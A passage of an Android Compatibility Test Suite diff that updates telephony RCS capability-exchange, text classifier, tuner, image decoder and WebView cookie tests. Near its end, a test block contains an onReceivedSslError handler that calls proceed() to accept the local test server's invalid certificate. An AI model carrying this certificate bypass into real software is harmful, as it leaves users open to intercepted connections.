+ fail("Unregistered publish callback should not be called");
+ }
+
+ // Verify the value of getting from the API is PUBLISH_STATE_OK
+ try {
+ automan.adoptShellPermissionIdentity();
+ int publishState = uceAdapter.getUcePublishState();
+ assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, publishState);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ CapabilityExchangeEventListener eventListener =
+ sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+ // ImsService triggers to notify framework publish device's capabilities.
+ eventListener.onRequestPublishCapabilities(
+ RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+ // Verify ImsService receive the publish request from framework.
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+ // ImsService triggers the unpublish notification
+ eventListener.onUnpublish();
+
+ // Verify the publish state callback will be called with the state "NOT_PUBLISHED"
+ assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+ waitForIntResult(publishStateQueue));
+ publishStateQueue.clear();
+
+ // The unregistered callback should not be called.
+ if (unregisteredPublishStateQueue.poll() != null) {
+ fail("Unregistered publish callback should not be called when unpublish");
+ }
+
+ // Verify the value of getting from the API is NOT_PUBLISHED
+ try {
+ automan.adoptShellPermissionIdentity();
+ int publishState = uceAdapter.getUcePublishState();
+ assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED, publishState);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ // Trigger RcsFeature is unavailable
+ sServiceConnector.getCarrierService().getRcsFeature()
+ .setFeatureState(ImsFeature.STATE_UNAVAILABLE);
+
+ // Verify the RcsCapabilityExchangeImplBase will be removed.
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_UCE_LISTENER_SET));
+
+ overrideCarrierConfig(null);
+ }
+
@Ignore("RCS APIs not public yet")
@Test
public void testRcsManagerRegistrationCallback() throws Exception {
@@ -1850,7 +2009,7 @@
return;
}
- triggerFrameworkConnectToCarrierImsServiceBindMmtelRcsFeature();
+ triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
final int errorCode = 403;
final String errorString = "Forbidden";
@@ -1935,7 +2094,7 @@
return;
}
- triggerFrameworkConnectToCarrierImsServiceBindMmtelRcsFeature();
+ triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
LinkedBlockingQueue<Integer> clientQueue = new LinkedBlockingQueue<>();
@@ -1997,7 +2156,7 @@
return;
}
- triggerFrameworkConnectToCarrierImsServiceBindMmtelRcsFeature();
+ triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
LinkedBlockingQueue<Integer> clientQueue = new LinkedBlockingQueue<>();
@@ -2034,7 +2193,7 @@
}
RcsClientConfiguration rcc = new RcsClientConfiguration(
"1.0", "UP_1.0", "Android", "RCSAndrd-1.0");
- triggerFrameworkConnectToCarrierImsServiceBindMmtelRcsFeature();
+ triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
LinkedBlockingQueue<Integer> actionQueue = new LinkedBlockingQueue<>();
@@ -2161,6 +2320,44 @@
sTestSlot, serviceSlot);
}
+ private void triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature() throws Exception {
+ // Connect to the ImsService with the RCS feature.
+ assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+ .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+ .build()));
+
+ // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+ // Framework did not call it.
+ assertTrue("Did not receive createMmTelFeature", sServiceConnector.getCarrierService()
+ .waitForLatchCountdown(TestImsService.LATCH_CREATE_MMTEL));
+ assertTrue("Did not receive MmTelFeature#onReady", sServiceConnector.getCarrierService()
+ .waitForLatchCountdown(TestImsService.LATCH_MMTEL_READY));
+ assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
+ sServiceConnector.getCarrierService().getMmTelFeature());
+ int serviceSlot = sServiceConnector.getCarrierService().getMmTelFeature().getSlotIndex();
+ assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
+ + "assigned slot (" + serviceSlot + "+ for the associated MmTelFeature",
+ sTestSlot, serviceSlot);
+
+ // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+ // Framework did not call it.
+ assertTrue("Did not receive createRcsFeature", sServiceConnector.getCarrierService()
+ .waitForLatchCountdown(TestImsService.LATCH_CREATE_RCS));
+ assertTrue("Did not receive RcsFeature#onReady", sServiceConnector.getCarrierService()
+ .waitForLatchCountdown(TestImsService.LATCH_RCS_READY));
+ // Make sure the RcsFeature was created in the test service.
+ assertNotNull("Device ImsService created, but TestDeviceImsService#createRcsFeature was not"
+ + "called!", sServiceConnector.getCarrierService().getRcsFeature());
+ assertTrue("Did not receive RcsFeature#setCapabilityExchangeEventListener",
+ sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_UCE_LISTENER_SET));
+ serviceSlot = sServiceConnector.getCarrierService().getRcsFeature().getSlotIndex();
+ assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
+ + "assigned slot (" + serviceSlot + "+ for the associated RcsFeature",
+ sTestSlot, serviceSlot);
+ }
+
private void triggerFrameworkConnectToCarrierImsService() throws Exception {
// Connect to the ImsService with the MmTel feature.
assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
@@ -2180,33 +2377,6 @@
sTestSlot, serviceSlot);
}
- private void triggerFrameworkConnectToCarrierImsServiceBindMmtelRcsFeature() throws Exception {
- // Connect to the ImsService with the MmTel feature.
- assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
- .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
- .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
- .build()));
- // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
- // Framework did not call it.
- assertTrue("Did not receive createMmTelFeature", sServiceConnector.getCarrierService()
- .waitForLatchCountdown(TestImsService.LATCH_CREATE_MMTEL));
- assertTrue("Did not receive MmTelFeature#onReady", sServiceConnector.getCarrierService()
- .waitForLatchCountdown(TestImsService.LATCH_MMTEL_READY));
- assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
- sServiceConnector.getCarrierService().getMmTelFeature());
- // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
- // Framework did not call it.
- assertTrue("Did not receive createRcsFeature", sServiceConnector.getCarrierService()
- .waitForLatchCountdown(TestImsService.LATCH_CREATE_RCS));
- // Make sure the RcsFeature was created in the test service.
- assertNotNull("Device ImsService created, but TestDeviceImsService#createRcsFeature was not"
- + "called!", sServiceConnector.getCarrierService().getRcsFeature());
- int serviceSlot = sServiceConnector.getCarrierService().getMmTelFeature().getSlotIndex();
- assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
- + "assigned slot (" + serviceSlot + "+ for the associated MmTelFeature",
- sTestSlot, serviceSlot);
- }
-
private ProvisioningManager.RcsProvisioningCallback buildRcsProvisioningCallback(
LinkedBlockingQueue<Integer> actionQueue,
LinkedBlockingQueue<RcsProvisioningCallbackParams> paramQueue) {
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
index acc1d1f..912d95c 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
@@ -69,7 +69,9 @@
public static final int LATCH_RCS_READY = 8;
public static final int LATCH_MMTEL_CAP_SET = 9;
public static final int LATCH_RCS_CAP_SET = 10;
- private static final int LATCH_MAX = 11;
+ public static final int LATCH_UCE_LISTENER_SET = 11;
+ public static final int LATCH_UCE_REQUEST_PUBLISH = 12;
+ private static final int LATCH_MAX = 13;
protected static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
static {
for (int i = 0; i < LATCH_MAX; i++) {
@@ -86,6 +88,12 @@
interface CapabilitiesSetListener {
void onSet();
}
+ interface RcsCapabilitySetListener {
+ void onSet();
+ }
+ interface DeviceCapPublishListener {
+ void onPublish();
+ }
// This is defined here instead TestImsService extending ImsService directly because the GTS
// tests were failing to run on pre-P devices. Not sure why, but TestImsService is loaded
@@ -159,8 +167,20 @@
synchronized (mLock) {
countDownLatch(LATCH_RCS_CAP_SET);
}
+ },
+ () -> {
+ synchronized (mLock) {
+ countDownLatch(LATCH_UCE_LISTENER_SET);
}
- );
+ });
+
+ // Setup UCE request listener
+ mTestRcsFeature.setDeviceCapPublishListener(() -> {
+ synchronized (mLock) {
+ countDownLatch(LATCH_UCE_REQUEST_PUBLISH);
+ }
+ });
+
if (mSetNullRcsBinding) {
return null;
}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java
new file mode 100644
index 0000000..cdc1392
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.ImsException;
+import android.telephony.ims.cts.TestImsService.DeviceCapPublishListener;
+import android.telephony.ims.stub.RcsCapabilityExchangeImplBase;
+import android.util.Log;
+
+import java.util.concurrent.Executor;
+
+/**
+ * A implementation class of RcsCapabilityExchangeImplBase for the TestRcsFeature.
+ */
+public class TestRcsCapabilityExchangeImpl extends RcsCapabilityExchangeImplBase {
+
+ private static final String LOG_TAG = "TestRcsCapExchangeImpl";
+
+ @FunctionalInterface
+ public interface PublishOperation {
+ void execute(DeviceCapPublishListener listener, String pidfXml, PublishResponseCallback cb)
+ throws ImsException;
+ }
+
+ private DeviceCapPublishListener mPublishListener;
+
+ // The operation of publishing capabilities
+ private PublishOperation mPublishOperation;
+
+ /**
+ * Create a new RcsCapabilityExchangeImplBase instance.
+ * @param executor The executor that remote calls from the framework will be called on.
+ */
+ public TestRcsCapabilityExchangeImpl(Executor executor, DeviceCapPublishListener listener) {
+ super(executor);
+ mPublishListener = listener;
+ }
+
+ public void setPublishOperator(PublishOperation operation) {
+ mPublishOperation = operation;
+ }
+
+ @Override
+ public void publishCapabilities(String pidfXml, PublishResponseCallback cb) {
+ try {
+ mPublishOperation.execute(mPublishListener, pidfXml, cb);
+ } catch (ImsException e) {
+ Log.w(LOG_TAG, "publishCapabilities exception: " + e);
+ }
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
index 3354158..b81f22f 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
@@ -17,25 +17,41 @@
package android.telephony.ims.cts;
import android.telephony.ims.feature.RcsFeature;
+import android.telephony.ims.stub.CapabilityExchangeEventListener;
+import android.telephony.ims.stub.RcsCapabilityExchangeImplBase;
import android.util.Log;
+import java.util.concurrent.Executor;
+
public class TestRcsFeature extends RcsFeature {
+
private static final String TAG = "CtsTestImsService";
private final TestImsService.ReadyListener mReadyListener;
private final TestImsService.RemovedListener mRemovedListener;
private final TestImsService.CapabilitiesSetListener mCapSetListener;
+ private final TestImsService.RcsCapabilitySetListener mRcsCapabilitySetListener;
+
+ private TestRcsCapabilityExchangeImpl mCapExchangeImpl;
+ private CapabilityExchangeEventListener mCapEventListener;
+ private TestImsService.DeviceCapPublishListener mDeviceCapPublishListener;
TestRcsFeature(TestImsService.ReadyListener readyListener,
TestImsService.RemovedListener listener,
- TestImsService.CapabilitiesSetListener setListener) {
+ TestImsService.CapabilitiesSetListener setListener,
+ TestImsService.RcsCapabilitySetListener uceCallbackListener) {
mReadyListener = readyListener;
mRemovedListener = listener;
mCapSetListener = setListener;
+ mRcsCapabilitySetListener = uceCallbackListener;
setFeatureState(STATE_READY);
}
+ public void setDeviceCapPublishListener(TestImsService.DeviceCapPublishListener listener) {
+ mDeviceCapPublishListener = listener;
+ }
+
@Override
public void onFeatureReady() {
if (ImsUtils.VDBG) {
@@ -51,4 +67,30 @@
}
mRemovedListener.onRemoved();
}
+
+ public RcsCapabilityExchangeImplBase createCapabilityExchangeImpl(Executor executor,
+ CapabilityExchangeEventListener listener) {
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "TestRcsFeature.createCapabilityExchangeImpl called");
+ }
+ mCapEventListener = listener;
+ mCapExchangeImpl = new TestRcsCapabilityExchangeImpl(executor, mDeviceCapPublishListener);
+ mRcsCapabilitySetListener.onSet();
+ return mCapExchangeImpl;
+ }
+
+ public void removeCapabilityExchangeImpl(RcsCapabilityExchangeImplBase capExchangeImpl) {
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "TestRcsFeature.removeCapabilityExchangeImpl called");
+ }
+ mRcsCapabilitySetListener.onSet();
+ }
+
+ public CapabilityExchangeEventListener getEventListener() {
+ return mCapEventListener;
+ }
+
+ public TestRcsCapabilityExchangeImpl getRcsCapabilityExchangeImpl() {
+ return mCapExchangeImpl;
+ }
}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
index 13facc5..d3d19bb 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
@@ -94,7 +94,12 @@
TextSelection.Request request, CancellationSignal cancellationSignal,
Callback<TextSelection> callback) {
handleRequest(sessionId, "onSuggestSelection");
- callback.onSuccess(TextClassifier.NO_OP.suggestSelection(request));
+ TextSelection.Builder textSelection =
+ new TextSelection.Builder(request.getStartIndex(), request.getEndIndex());
+ if (request.shouldIncludeTextClassification()) {
+ textSelection.setTextClassification(createTextClassification());
+ }
+ callback.onSuccess(textSelection.build());
}
@Override
@@ -102,18 +107,21 @@
TextClassification.Request request, CancellationSignal cancellationSignal,
Callback<TextClassification> callback) {
handleRequest(sessionId, "onClassifyText");
- final TextClassification classification = new TextClassification.Builder()
+ callback.onSuccess(createTextClassification());
+ }
+
+ private TextClassification createTextClassification() {
+ return new TextClassification.Builder()
.addAction(new RemoteAction(
ICON_RES,
"Test Action",
"Test Action",
PendingIntent.getActivity(
- this,
- 0,
- new Intent(),
- PendingIntent.FLAG_IMMUTABLE)))
+ this,
+ 0,
+ new Intent(),
+ PendingIntent.FLAG_IMMUTABLE)))
.build();
- callback.onSuccess(classification);
}
@Override
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
index 954e977..3068260 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
@@ -32,6 +32,7 @@
import android.view.textclassifier.TextClassificationSessionId;
import android.view.textclassifier.TextClassifier;
import android.view.textclassifier.TextLanguage;
+import android.view.textclassifier.TextSelection;
import androidx.test.InstrumentationRegistry;
import androidx.test.core.app.ApplicationProvider;
@@ -120,7 +121,7 @@
}
@Test
- public void testResourceIconsRewrittenToContentUriIcons() throws Exception {
+ public void testResourceIconsRewrittenToContentUriIcons_classifyText() throws Exception {
final TextClassifier tc = ApplicationProvider.getApplicationContext()
.getSystemService(TextClassificationManager.class)
.getTextClassifier();
@@ -133,6 +134,22 @@
assertThat(icon.getUri()).isEqualTo(CtsTextClassifierService.ICON_URI.getUri());
}
+ @Test
+ public void testResourceIconsRewrittenToContentUriIcons_suggestSelection() throws Exception {
+ final TextClassifier tc = ApplicationProvider.getApplicationContext()
+ .getSystemService(TextClassificationManager.class)
+ .getTextClassifier();
+ final TextSelection.Request request =
+ new TextSelection.Request.Builder("0800 123 4567", 0, 12)
+ .setIncludeTextClassification(true)
+ .build();
+
+ final TextSelection textSelection = tc.suggestSelection(request);
+ final Icon icon = textSelection.getTextClassification().getActions().get(0).getIcon();
+ assertThat(icon.getType()).isEqualTo(Icon.TYPE_URI);
+ assertThat(icon.getUri()).isEqualTo(CtsTextClassifierService.ICON_URI.getUri());
+ }
+
/**
* Start an Activity from another package that queries the device's TextClassifierService when
* started and immediately terminates itself. When the Activity finishes, it sends broadcast, we
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
index 36f7326..5b5949f 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
@@ -545,7 +545,7 @@
// TODO: Enable Tuner CTS after Tuner Service b/159067322 feature complete
public void testFrontendInfo() throws Exception {
List<Integer> ids = mTuner.getFrontendIds();
- List<FrontendInfo> infos = mTuner.getFrontendInfoList();
+ List<FrontendInfo> infos = mTuner.getAvailableFrontendInfos();
Map<Integer, FrontendInfo> infoMap = new HashMap<>();
for (FrontendInfo info : infos) {
infoMap.put(info.getId(), info);
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
index a0b3b6b..fd57f37 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
@@ -355,7 +355,7 @@
@Ignore("b/174500129")
// TODO: Enable Tuner CTS after Tuner Service b/159067322 feature complete
public void testCiCam() throws Exception {
-// open filter to get demux resource
+ // open filter to get demux resource
mTuner.openFilter(
Filter.TYPE_TS, Filter.SUBTYPE_SECTION, 1000, getExecutor(), getFilterCallback());
@@ -367,9 +367,20 @@
@Ignore("b/174500129")
// TODO: Enable Tuner CTS after Tuner Service b/159067322 feature complete
public void testAvSyncId() throws Exception {
-// open filter to get demux resource
+ // open filter to get demux resource
Filter f = mTuner.openFilter(
Filter.TYPE_TS, Filter.SUBTYPE_AUDIO, 1000, getExecutor(), getFilterCallback());
+ Settings settings = AvSettings
+ .builder(Filter.TYPE_TS, true)
+ .setPassthrough(false)
+ .setAudioStreamType(AvSettings.AUDIO_STREAM_TYPE_MPEG1)
+ .build();
+ FilterConfiguration config = TsFilterConfiguration
+ .builder()
+ .setTpid(10)
+ .setSettings(settings)
+ .build();
+ f.configure(config);
int id = mTuner.getAvSyncHwId(f);
if (id != Tuner.INVALID_AV_SYNC_ID) {
assertNotEquals(Tuner.INVALID_TIMESTAMP, mTuner.getAvSyncTime(id));
diff --git a/tests/tests/uirendering/assets/RestorePrevious.gif b/tests/tests/uirendering/assets/RestorePrevious.gif
new file mode 100644
index 0000000..5801e4f
--- /dev/null
+++ b/tests/tests/uirendering/assets/RestorePrevious.gif
Binary files differ
diff --git a/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp b/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp
index 33758a1..4321327 100644
--- a/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp
+++ b/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp
@@ -37,6 +37,9 @@
ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_advanceFrame(nullptr));
ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_rewind(nullptr));
+
+ AImageDecoder_setInternallyHandleDisposePrevious(nullptr, true);
+ AImageDecoder_setInternallyHandleDisposePrevious(nullptr, false);
#pragma clang diagnostic pop
}
@@ -269,6 +272,11 @@
return AImageDecoder_getRepeatCount(reinterpret_cast<AImageDecoder*>(decoder));
}
+static void setHandleDisposePrevious(JNIEnv*, jobject, jlong decoder, jboolean handle) {
+ AImageDecoder_setInternallyHandleDisposePrevious(reinterpret_cast<AImageDecoder*>(decoder),
+ handle);
+}
+
#define ASSET_MANAGER "Landroid/content/res/AssetManager;"
#define STRING "Ljava/lang/String;"
#define BITMAP "Landroid/graphics/Bitmap;"
@@ -301,6 +309,7 @@
{ "nGetDisposeOp", "(J)I", (void*) getDisposeOp },
{ "nGetBlendOp", "(J)I", (void*) getBlendOp },
{ "nGetRepeatCount", "(J)I", (void*) getRepeatCount },
+ { "nSetHandleDisposePrevious", "(JZ)V", (void*) setHandleDisposePrevious },
};
int register_android_uirendering_cts_AImageDecoderTest(JNIEnv* env) {
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt
index 0a9a59d..8cd8cf7 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt
@@ -20,11 +20,15 @@
import android.content.res.AssetManager
import android.graphics.Bitmap
+import android.graphics.Color
import android.graphics.ImageDecoder
import android.graphics.Rect
import android.uirendering.cts.bitmapcomparers.MSSIMComparer
+import android.uirendering.cts.bitmapverifiers.BitmapVerifier
import android.uirendering.cts.bitmapverifiers.ColorVerifier
import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier
+import android.uirendering.cts.bitmapverifiers.RectVerifier
+import android.uirendering.cts.bitmapverifiers.RegionVerifier
import junitparams.JUnitParamsRunner
import junitparams.Parameters
import org.junit.Test
@@ -826,6 +830,92 @@
+ "frame $i, expected: ${blendOps[i]}")
}
+ @Test
+ fun testHandleDisposePrevious() {
+ // The first frame is ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, followed by a single
+ // ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS frame. The third frame looks different
+ // depending on whether that is respected.
+ val image = "RestorePrevious.gif"
+ val disposeOps = intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+
+ val width = nGetWidth(decoder)
+ val height = nGetHeight(decoder)
+ val bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888, true)
+
+ val verifiers = arrayOf<BitmapVerifier>(
+ ColorVerifier(Color.BLACK, 0),
+ RectVerifier(Color.BLACK, Color.RED, Rect(0, 0, 100, 80), 0),
+ RectVerifier(Color.BLACK, Color.GREEN, Rect(0, 0, 100, 50), 0))
+
+ with(nCreateFrameInfo()) {
+ for (i in 0..2) {
+ nGetFrameInfo(decoder, this)
+ assertEquals(disposeOps[i], nGetDisposeOp(this))
+
+ nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+ assertTrue(verifiers[i].verify(bitmap))
+ nAdvanceFrame(decoder)
+ }
+ nDeleteFrameInfo(this)
+ }
+
+ // Now redecode without letting AImageDecoder handle
+ // ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS.
+ bitmap.eraseColor(Color.TRANSPARENT)
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+ nSetHandleDisposePrevious(decoder, false)
+
+ // If the client does not handle ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS
+ // the final frame does not match.
+ for (i in 0..2) {
+ nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+ assertEquals(i != 2, verifiers[i].verify(bitmap))
+
+ if (i == 2) {
+ // Not only can we verify that frame 2 does not look as expected, but it
+ // should look as if we decoded frame 1 and did not revert it.
+ val verifier = RegionVerifier()
+ verifier.addVerifier(Rect(0, 0, 100, 50), ColorVerifier(Color.GREEN, 0))
+ verifier.addVerifier(Rect(0, 50, 100, 80), ColorVerifier(Color.RED, 0))
+ verifier.addVerifier(Rect(0, 80, 100, 100), ColorVerifier(Color.BLACK, 0))
+ assertTrue(verifier.verify(bitmap))
+ }
+ nAdvanceFrame(decoder)
+ }
+
+ // Now redecode and manually store/restore the first frame.
+ bitmap.eraseColor(Color.TRANSPARENT)
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+ nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+ val storedFrame = bitmap
+ for (i in 1..2) {
+ assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_SUCCESS)
+ val frame = storedFrame.copy(storedFrame.config, true)
+ nDecode(decoder, frame, ANDROID_IMAGE_DECODER_SUCCESS)
+ assertTrue(verifiers[i].verify(frame))
+ frame.recycle()
+ }
+
+ // This setting can be switched back, so that AImageDecoder handles it.
+ bitmap.eraseColor(Color.TRANSPARENT)
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+ nSetHandleDisposePrevious(decoder, true)
+
+ for (i in 0..2) {
+ nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+ assertTrue(verifiers[i].verify(bitmap))
+ nAdvanceFrame(decoder)
+ }
+
+ bitmap.recycle()
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ }
+
private external fun nTestNullDecoder()
private external fun nTestToString()
private external fun nOpenAsset(assets: AssetManager, name: String): Long
@@ -859,4 +949,5 @@
private external fun nGetDisposeOp(frameInfo: Long): Int
private external fun nGetBlendOp(frameInfo: Long): Int
private external fun nGetRepeatCount(decoder: Long): Int
+ private external fun nSetHandleDisposePrevious(decoder: Long, handle: Boolean)
}
diff --git a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
index 3d2d652..16c0bd7 100644
--- a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
@@ -46,6 +46,7 @@
private WebView mWebView;
private CookieManager mCookieManager;
private WebViewOnUiThread mOnUiThread;
+ private CtsTestServer mServer;
public CookieManagerTest() {
super("android.webkit.cts", CookieSyncManagerCtsActivity.class);
@@ -71,6 +72,13 @@
}
}
+ @Override
+ protected void tearDown() throws Exception {
+ if (mServer != null) {
+ mServer.shutdown();
+ }
+ }
+
public void testGetInstance() {
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
@@ -103,8 +111,8 @@
mCookieManager.setAcceptCookie(false);
assertFalse(mCookieManager.acceptCookie());
- CtsTestServer server = new CtsTestServer(getActivity(), false);
- String url = server.getCookieUrl("conquest.html");
+ mServer = new CtsTestServer(getActivity(), false);
+ String url = mServer.getCookieUrl("conquest.html");
mOnUiThread.loadUrlAndWaitForCompletion(url);
assertEquals("0", mOnUiThread.getTitle()); // no cookies passed
Thread.sleep(500);
@@ -113,7 +121,7 @@
mCookieManager.setAcceptCookie(true);
assertTrue(mCookieManager.acceptCookie());
- url = server.getCookieUrl("war.html");
+ url = mServer.getCookieUrl("war.html");
mOnUiThread.loadUrlAndWaitForCompletion(url);
assertEquals("0", mOnUiThread.getTitle()); // no cookies passed
waitForCookie(url);
@@ -125,7 +133,7 @@
assertTrue(m.matches());
assertEquals("0", m.group(1));
- url = server.getCookieUrl("famine.html");
+ url = mServer.getCookieUrl("famine.html");
mOnUiThread.loadUrlAndWaitForCompletion(url);
assertEquals("1|count=0", mOnUiThread.getTitle()); // outgoing cookie
waitForCookie(url);
@@ -135,7 +143,7 @@
assertTrue(m.matches());
assertEquals("1", m.group(1)); // value got incremented
- url = server.getCookieUrl("death.html");
+ url = mServer.getCookieUrl("death.html");
mCookieManager.setCookie(url, "count=41");
mOnUiThread.loadUrlAndWaitForCompletion(url);
assertEquals("1|count=41", mOnUiThread.getTitle()); // outgoing cookie
@@ -328,64 +336,59 @@
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
}
- CtsTestServer server = null;
- try {
- // In theory we need two servers to test this, one server ('the first party')
- // which returns a response with a link to a second server ('the third party')
- // at different origin. This second server attempts to set a cookie which should
- // fail if AcceptThirdPartyCookie() is false.
- // Strictly according to the letter of RFC6454 it should be possible to set this
- // situation up with two TestServers on different ports (these count as having
- // different origins) but Chrome is not strict about this and does not check the
- // port. Instead we cheat making some of the urls come from localhost and some
- // from 127.0.0.1 which count (both in theory and pratice) as having different
- // origins.
- server = new CtsTestServer(getActivity(), /* secure */ true);
- mOnUiThread.setWebViewClient(new WaitForLoadedClient(mOnUiThread) {
- @Override
- public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
- // ignore the test server's invalid SSL cert
- handler.proceed();
- }
- });
